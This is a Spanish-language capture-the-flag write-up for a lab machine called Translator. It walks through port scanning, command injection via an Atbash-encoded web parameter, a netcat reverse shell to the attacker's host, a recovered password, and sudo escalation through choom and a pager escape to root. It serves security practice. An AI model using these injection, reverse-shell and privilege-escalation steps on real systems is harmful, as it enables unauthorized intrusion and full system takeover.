077 - Translator

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.83
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.83
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-20 14:28 -04
Nmap scan report for 192.168.1.83
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 08:cf:50:b2:4f:41:43:c4:66:56:ce:96:b9:04:8c:77 (RSA)
|   256 40:b7:11:24:76:59:cd:e0:79:db:71:d1:39:29:d5:45 (ECDSA)
|_  256 44:64:ba:b8:52:4f:ca:00:dd:3e:c3:28:71:6f:77:76 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.46 seconds

❯ gobuster dir -u 'http://192.168.1.83' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/translate.php        (Status: 200) [Size: 20]
...

El sitio es "HMV Translator" con un textarea. Interceptando con Burp vemos que el parámetro es hmv. El traductor aplica Atbash (alfabeto invertido) a la entrada, y es vulnerable a inyección de comandos: probamos que ejecuta lo que escribimos (codificado en atbash) tras un ;:

❯ curl 'http://192.168.1.83/translate.php?hmv=id'
Translated to:<br>rw
rw

❯ curl 'http://192.168.1.83/translate.php?hmv=id;rw'
Translated to:<br>rw;id
rw
uid=33(www-data) gid=33(www-data) groufs=33(www-data)

Para lanzar una reverse shell, traducimos primero el comando a atbash (nc → mx, etc.) y lo enviamos:

❯ curl 'http://192.168.1.83/translate.php?hmv=a;nc%20-e%20/bin/bash%20192.168.1.3%201234'
Translated to:<br>z;mx -v /yrm/yzhs 192.168.1.3 1234
z

❯ curl 'http://192.168.1.83/translate.php?hmv=a;mx%20-v%20/yrm/yzhs%20192.168.1.3%201234'

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.83:36146.
whoami
www-data

En /var/www/html hay un archivo (también en atbash) con una contraseña:

www-data@translator:~/html$ cat hvxivg
Mb kzhhdliw rh zbfie3w4

Que traducido es:

My password is ayurv3d4

La probamos con el usuario ocean (de /etc/passwd) y obtenemos la primera flag:

www-data@translator:~/html$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ocean:x:1000:1000:ocean,,,:/home/ocean:/bin/bash
india:x:1001:1001:,,,:/home/india:/bin/bash

Revisamos sudo -l:

ocean@translator:~$ sudo -l
...
User ocean may run the following commands on translator:
    (india) NOPASSWD: /usr/bin/choom

choom permite ejecutar un programa (ajustando su OOM score) como india:

ocean@translator:~$ sudo -u india choom -n 0 /bin/bash
india@translator:/home/ocean$

Revisamos sudo -l como india:

india@translator:~$ sudo -l
...
User india may run the following commands on translator:
    (root) NOPASSWD: /usr/local/bin/trans

trans -M abre el manual con un pager tipo less, del que escapamos a una shell de root:

india@translator:~$ sudo /usr/local/bin/trans -M
!/bin/bash
root@translator:/home/india#

Obtenemos nuestra flag.

Fin.